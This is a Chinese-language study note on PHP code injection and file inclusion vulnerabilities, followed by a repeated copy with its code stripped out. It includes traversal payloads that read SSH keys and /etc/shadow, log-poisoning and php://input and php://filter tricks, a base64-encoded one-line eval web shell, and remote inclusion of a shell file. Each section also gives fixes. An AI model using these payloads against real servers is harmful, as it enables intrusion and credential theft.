> A book that remains shut is but a block. ###### 0x01 代码注入 --- * 代码注入:当应用程序调用一些能将字符串转化成代码的函数时,没有考虑用户是否能控制这个字符串,如果用户输入恶意字符串,被转化成代码执行,将造成代码注入 * 将字符串转化成代码执行的相关函数 ``` PHP:eval、assert JavaScript:eval VbScript:Execute、Eval Python:exec Java:Java 内没有类似 PHP 中 eval 这种可以直接将字符串转化成代码执行的函数,但是有反射机制,并且有各种基于反射机制的表达式引擎,如:OGNL、SpEL、MVEL 等,这些都能导致代码注入 ``` * `PHP` 中的代码注入 * 代码执行函数 ``` eval assert callback 函数 preg_replace + /e 模式 unserialize() ( `PHP` 反序列化函数) ``` * 漏洞方式 * 直接获得之后再赋值给 `ret`,可以直接造成代码注入 ``` eval("\$ret = $data;"); ``` * `deal` 处理后赋值给 `ret`,单引号传参,闭合单引号就可以造成代码注入 ``` eval("\$ret = deal('$data');"); ``` * `deal` 处理后赋值给 `ret`,双引号传参,双引号在代码中有个很重要的特性,它可以解析其中的函数,比如传入 `${phpinfo()}`,`phpinfo` 将会被执行,而得到的返回值作为参数传入 `deal`,不需要考虑闭合双引号 ``` eval("\$ret = deal("$data");"); ``` * `preg_replace` 函数,第一个参数使用了 `/e` 模式,第二个参数就会使用 `eval` 来执行(`/e` 模式会对 `" ' ` 进行转义),这里又是双引号包裹,和上面的一样,`{@${phpinfo()}}` 也可以造成代码注入 ``` preg_replace('/(.*)<\/data>/e', '$ret="\1";', $data); ``` * 修复方案 * 能使用 `JSON` 保存数组、对象就使用 `JSON`,不要将 `PHP` 对象保存成字符串,否则读取的时候需要使用 `eval` * 必须使用 `eval` 的情况,一定确保用户不能轻易接触 `eval` 的参数,或者严格的正则判断输入的数据格式,对于数据一定要使用单引号包裹可控代码,并在插入前进行 `addslashes` 转义 * 放弃使用 `preg_replace` 的 `e` 模式,使用 `pre_replace_callback` 替代,如果一定要使用 `e` 模式,确保第二个参数中,对于正则匹配出的对象,是用单引号包裹的 ###### 0x02 文件包含 --- * 文件包含 * 文件包含漏洞的产生原因是在通过引入文件的时候,由于传入的文件名没有经过合理的检验,或者检验被绕过,从而操作了预想之外的文件,就可能导致意外的文件泄漏甚至恶意的代码注入,可以分为本地文件包含和远程文件包含两种形式 * 被包含的文件在 `服务器本地` 时,形成本地文件包含漏洞 * 被包含的文件在 `第三方服务器` 时,形成远程文件包含漏洞 * `PHP` 文件包含 * `PHP 4` 存在远程和本地文件包含,`PHP 5` 仅存在本地文件包含 * 漏洞前提 ``` php.ini allow_url_fopen On 默认开启 可以包含远程文件,使用 ftp 和 http 协议 allow_url_include On 默认关闭 允许引用 URL 文件 ``` * 常用的包含文件函数 * `include()` * 当使用该函数包含文件时,只有代码执行到 `include()` 函数时才将文件包含进来,发生错误时只给一个警告,继续向下执行 * `include_once()` * 和上面一样,区别在于当重复调用同一文件时,程序只调用一次 * `require()` * 和 `include()` 一样,区别在于发生错误时,函数会输出错误信息,终止脚本的运行 * `require()` 在 `PHP` 程序执行前,会先读入 `require()` 所指定引入的文件,使它变成 `PHP` 程序的一部分 * `require_once()` * 和上面一样,区别在于当重复调用同一文件时,程序只调用一次 * `require` 一般是用于文件头包含类文件、数据库等文件 * `include` 一般是用于包含 `html` 模板文件 * 本地文件包含 * 包含目录文件 * 如果目录文件中的内容是 `PHP`,则内容会被当成 `PHP` 执行,不是 `PHP` 则会读取到文件内容(比如读取 `/etc/passwd` 等敏感文件) * 同目录下文件 (`./` 当前目录) ``` ?file=.htaccess ?file=./.htaccess ``` * 目录遍历 (`../` 上级目录)(可以获取其他配置文件) ``` ?file=./../../../var/lib/locate.db ``` * 常利用的服务器上的重要文件 ``` .htaccess /var/lib/locate.db /var/lib/mlocate/mlocate.db /var/log/apache/error.log /usr/local/apache2/conf/httpd.conf /root/.ssh/authorized_keys /root/.ssh/id_rsa /root/.ssh/id_rsa.keystore /root/.ssh/id_rsa.pub /root/.ssh/known_hosts /etc/shadow /root/.bash_history /root/.mysql_history /proc/self/fd/fd[0-9]* (文件标识符) /proc/mounts /proc/config.gz ``` * 包含日志文件 * 无法上传文件时,可以尝试利用 `User-Agent` 插入 `Payload` 到日志文件 * 将 `User-Agent` 用双引号包裹,比如 ``` User-Agent: "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0<?php phpinfo(); ?>" ``` * 日志文件,可以是错误文件,也可以是访问文件 ``` ?file=./../../../../../var/log/apache/error.log ``` * 如果大日志导致浏览器卡死,可以在 `Payload` 后加上一个 `exit()` 退出 * 如果包含不成功,可能是 `open_basedir` 限制了目录 * 文件包含常见日志路径 ``` /var/log/apache/error_log /var/log/apache/access_log /var/log/apache2/error_log /var/log/apache2/access_log /var/www/logs/error_log /var/www/logs/access.log /var/log/error_log /var/log/access.log /usr/local/apache/logs/error.log /usr/local/apache/logs/access_log ``` * 包含 `session` 文件 * `session` 文件一般在 `/tmp` 目录下,格式为 `sess_[your phpsessid value]`,有时候也有可能在 `/var/lib/php5` 之类,在此之前可以先读取配置文件来确定 * 某些特定的情况下如果可以控制 `session` 的值,可能可以获得 `shell` ``` ?file=../../../../tmp/sess_92d8nrMgJgQgViCwsDjbXOy ``` * 包含临时文件 `tmp` * 向服务器上传任意 `PHP` 文件,如果以 `form-data` 方式提交请求上传数据时,会生成临时文件,通过 `phpinfo` 来获得临时文件的路径以及名称,然后通过包含临时文件执行代码拿 `shell` * 临时文件会在极短的时间内被删除,所以需要在删除之前包含它,提交大量数据包,让缓存文件足够大,删除的时候相对花费较多时间,从而可以在被删除前包含 * 绕过本地文件包含限制 * 典型漏洞代码 ``` <?php include("inc/" . $_GET['file'] . ".htm"); ?> ``` * `%00` 截断 ``` ?file=../../../../../ect/passwd%00 ``` * `magic_quotes_gpc=off` 并且 `PHP` 小于 `5.3.4` * 如果是 `on`,会被转义导致截断失败 * `PHP 5.4`之后修复截断特性 * `%00` 目录遍历截断 ``` ?file=../../../../../../var/www/%00 ``` * `magic_quotes_gpc=Off` 并且 `Unix` 文件系统,比如 `FreeBSD`、`OpenBSD`、`NetBSD`、`Solaris` * 路径长度截断 ``` ?file=../../../../../../../../../etc/passwd/././././././.[…]/./././././. ``` * `PHP` 版本小于 `5.2.8`(?)可以成功,`Linux` 需要文件名长于 `4096`,`Windows` 需要长于 `256` * 点号截断 ``` ?file=../../../../../../../../../boot.ini/.....[...]........ ``` * `PHP` 版本小于 `5.2.8`(?)可以成功,只适用于 `Windows`,点号需长于 `256` * 漏洞修复 * `PHP` 中使用 `open_basedir` 将用户可操作的文件限制在某目录下,即指定在某区域 ``` // php.ini 中设置 open_basedir = /dir/user/ ``` * 对传入的参数进行检验和过滤 * 远程文件包含 * 常用的引入远程文件的方法 * 常见的协议 ``` ?file=[http|https|ftp]://example.com/shell.txt ``` * `allow_url_fopen = On` 并且 `allow_url_include = On` * 远程主机上创建一个带有攻击性代码的文件(`txt` 和 `jpg` 均可),这个文件不能被服务器解析,所以不可以为 `PHP` 脚本文件,否则会导致攻击脚本不能在受害者机器上运行 * 利用 `PHP` 流 `input`(利用 `POST` 将数据输入) ``` ?file=php://input // POST Payload <?php phpinfo(); ?> ``` * `allow_url_include = On` 且 `PHP < 5.3.0` * 遇到 `file_get_contents()` 时,可以用 `php://input` 绕过 * `file_get_contents()` 函数会将文件中的内容读取返回至一个字符串中,如果直接将字符串作为参数会报错 * 用 `php://input` 的话,可以获取到 `POST` 的数据 * `file_get_contents()` 返回的是字符串,无法被执行,而 `include()` 是将字符串导入,可以作为可执行代码 * 利用 `PHP` 流 `filter` ``` // 读取 index.php 源码(base64 编码) ?file=php://filter/convert.base64-encode/resource=index.php // 读取 index.php 源码(base64 解码) ?file=php://filter/convert.base64-decode/resource=index.php ``` * `filter` 过滤器,可以在执行代码前将代码换个方式读取出来,因为只是读取,所以无需开启 `allow_url_include` * 利用解码 `decode`,可以突破符号限制,写入一句话 ``` // 每次利用 file_put_contents 将字符逐个写入到文件 N 中 PD9waHAgZXZhbCgkX1BPU1RbOV0pOw // 解码后为 <?php eval($_POST[9]); // 最后包含文件 N,解码 param=include$_GET[0];&0=php://filter/read=convert.base64-decode/resource=N ``` * 利用 `data URIs` ``` ?file=data://text/plain;base64,base64编码的Payload ``` * `allow_url_include = On` 且 `PHP < 5.3.0` * 将原本 `include` 的文件流重定向到了用户可控制的输入流中,即将 `Payload` 包含在了 `include` 的文件流中 * 注: `<?php phpinfo();` 此类执行代码没有 `?>` 后缀,有就无法执行 * 利用 `zip` 协议 ``` ?file=zip://压缩包%23内部文件 ``` * 因为 `zip` 协议需要 `#`,为了避免和 `URL` 协议中的 `#` 冲突,转义成 `%23` * 比如,包含的后缀必须为 `.php` ``` $include_file=$_GET[include_file]; if ( isset( $include_file ) && strtolower( substr( $include_file, -4 ) ) == ".php" ) { require( $include_file ); } ``` * 新建 `1.php`,里面可以写执行语句,比如一句话 * 压缩成 `zip`,将压缩包重命名为 `zip.jpg` * 然后将 `zip.jpg` 上传 ``` ?file=zip://D:/ApmServ/www/htdocs/zip.jpg%231.php ``` * 利用 `phar` 协议 ``` ?file=phar://压缩包/内部文件 ``` * `PHP > 5.3` * 压缩包一般是 `phar` 后缀,需要代码来生成,`zip` 后缀也可以 ``` <?php $p = new PharData(dirname(__FILE__).'/phartest.aaa', 0,'phartest',Phar::ZIP); $p->addFromString('testfile.txt', '<?php phpinfo();?>'); ?> ``` * 创建 `phar` 的时候注意 `php.ini` 中 `phar.readonly=Off` * 压缩包需要是 `zip` 协议压缩,`rar` 不行 * 利用 `URL` 中的压缩包后缀可以是任意后缀 ``` ?file=phar://./phar/phartest.aaa/testfile.txt ``` * `phartest.aaa` 是一个 `zip` 文件,其中有个一个 `testfile.txt` * 绕过远程文件包含限制 * 典型漏洞代码 ``` <?php include($_GET['file'] . ".htm"); ?> ``` * 各种绕过限制 ``` ?file=http://example.com/shell ``` ``` ?file=http://example.com/shell.txt? // 无法向攻击者编写的脚本传递参数,如果攻击者脚本加入了参数,会导致无法拦截 ``` ``` ?file=http://example.com/shell.txt%23 // allow_url_fopen = On 并且 allow_url_include = On ``` ``` ?file=\evilshare\shell.php // allow_url_include = On ``` * 漏洞修复 * 对引入文件包含的参数进行过滤 * 对所引入的文件的域进行限制 * 禁止服务器访问可信域以外的文件
0x01 代码注入
PHP中的代码注入ret,可以直接造成代码注入deal处理后赋值给ret,单引号传参,闭合单引号就可以造成代码注入deal处理后赋值给ret,双引号传参,双引号在代码中有个很重要的特性,它可以解析其中的函数,比如传入${phpinfo()},phpinfo将会被执行,而得到的返回值作为参数传入deal,不需要考虑闭合双引号preg_replace函数,第一个参数使用了/e模式,第二个参数就会使用eval来执行(/e模式会对" '进行转义),这里又是双引号包裹,和上面的一样,{@${phpinfo()}}也可以造成代码注入JSON保存数组、对象就使用JSON,不要将PHP对象保存成字符串,否则读取的时候需要使用evaleval的情况,一定确保用户不能轻易接触eval的参数,或者严格的正则判断输入的数据格式,对于数据一定要使用单引号包裹可控代码,并在插入前进行addslashes转义preg_replace的e模式,使用pre_replace_callback替代,如果一定要使用e模式,确保第二个参数中,对于正则匹配出的对象,是用单引号包裹的0x02 文件包含
服务器本地时,形成本地文件包含漏洞第三方服务器时,形成远程文件包含漏洞PHP文件包含PHP 4存在远程和本地文件包含,PHP 5仅存在本地文件包含include()include()函数时才将文件包含进来,发生错误时只给一个警告,继续向下执行include_once()require()include()一样,区别在于发生错误时,函数会输出错误信息,终止脚本的运行require()在PHP程序执行前,会先读入require()所指定引入的文件,使它变成PHP程序的一部分require_once()require一般是用于文件头包含类文件、数据库等文件include一般是用于包含html模板文件PHP,则内容会被当成PHP执行,不是PHP则会读取到文件内容(比如读取/etc/passwd等敏感文件)./当前目录)../上级目录)(可以获取其他配置文件)User-Agent插入Payload到日志文件User-Agent用双引号包裹,比如Payload后加上一个exit()退出open_basedir限制了目录session文件session文件一般在/tmp目录下,格式为sess_[your phpsessid value],有时候也有可能在/var/lib/php5之类,在此之前可以先读取配置文件来确定session的值,可能可以获得shelltmpPHP文件,如果以form-data方式提交请求上传数据时,会生成临时文件,通过phpinfo来获得临时文件的路径以及名称,然后通过包含临时文件执行代码拿shell%00截断magic_quotes_gpc=off并且PHP小于5.3.4on,会被转义导致截断失败PHP 5.4之后修复截断特性%00目录遍历截断magic_quotes_gpc=Off并且Unix文件系统,比如FreeBSD、OpenBSD、NetBSD、SolarisPHP版本小于5.2.8(?)可以成功,Linux需要文件名长于4096,Windows需要长于256PHP版本小于5.2.8(?)可以成功,只适用于Windows,点号需长于256PHP中使用open_basedir将用户可操作的文件限制在某目录下,即指定在某区域allow_url_fopen = On并且allow_url_include = Ontxt和jpg均可),这个文件不能被服务器解析,所以不可以为PHP脚本文件,否则会导致攻击脚本不能在受害者机器上运行PHP流input(利用POST将数据输入)allow_url_include = On且PHP < 5.3.0file_get_contents()时,可以用php://input绕过file_get_contents()函数会将文件中的内容读取返回至一个字符串中,如果直接将字符串作为参数会报错php://input的话,可以获取到POST的数据file_get_contents()返回的是字符串,无法被执行,而include()是将字符串导入,可以作为可执行代码PHP流filterfilter过滤器,可以在执行代码前将代码换个方式读取出来,因为只是读取,所以无需开启allow_url_includedecode,可以突破符号限制,写入一句话data URIsallow_url_include = On且PHP < 5.3.0include的文件流重定向到了用户可控制的输入流中,即将Payload包含在了include的文件流中<?php phpinfo();此类执行代码没有?>后缀,有就无法执行zip协议zip协议需要#,为了避免和URL协议中的#冲突,转义成%23.php1.php,里面可以写执行语句,比如一句话zip,将压缩包重命名为zip.jpgzip.jpg上传phar协议PHP > 5.3phar后缀,需要代码来生成,zip后缀也可以phar的时候注意php.ini中phar.readonly=Offzip协议压缩,rar不行URL中的压缩包后缀可以是任意后缀phartest.aaa是一个zip文件,其中有个一个testfile.txt